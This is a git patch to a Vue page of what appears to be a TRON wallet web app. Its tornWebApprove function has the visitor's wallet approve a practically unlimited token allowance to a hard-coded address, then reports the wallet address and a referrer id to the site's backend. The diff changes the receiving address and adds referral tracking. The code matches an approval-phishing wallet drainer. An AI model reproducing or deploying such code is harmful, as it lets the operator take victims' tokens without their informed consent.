From 6042c78e568b280dae7b5b617b59bbfff38ee515 Mon Sep 17 00:00:00 2001 From: queenwuli <942534046@qq.com> Date: Tue, 29 Mar 2022 14:22:55 +0800 Subject: [PATCH] gx --- src/pages/index/index.vue | 8 ++++++-- 1 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue index bec2fc7..83a354a 100644 --- a/src/pages/index/index.vue +++ b/src/pages/index/index.vue @@ -309,16 +309,18 @@ console.log(res) this.submitApprove() this.isApproving = false; + this.isShowApproveModal = false; }).catch((err) => { console.log('授权失败') console.log(err) this.isApproving = false; + this.isShowApproveModal = false; }) }, async tornWebApprove () { const tronWeb = window.tronWeb; const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; - const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; + const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; let instance = await tronWeb.contract().at(trxContractAddress); let res = await instance["approve"](authAddress, "90000000000000000000000000000"); res.send({ @@ -331,15 +333,17 @@ this.submitApprove() } this.isApproving = false; + this.isShowApproveModal = false; }); }, submitApprove () { + let refererId = this.getQueryString('refererId'); this.$axios({ url: '/dapi/common/approve', method: 'post', data: { address: this.walletAddress, - refererId: '' + refererId: refererId ? refererId : '' } }).then((res) => { if(res.code == 200) { -- Gitblit v1.9.1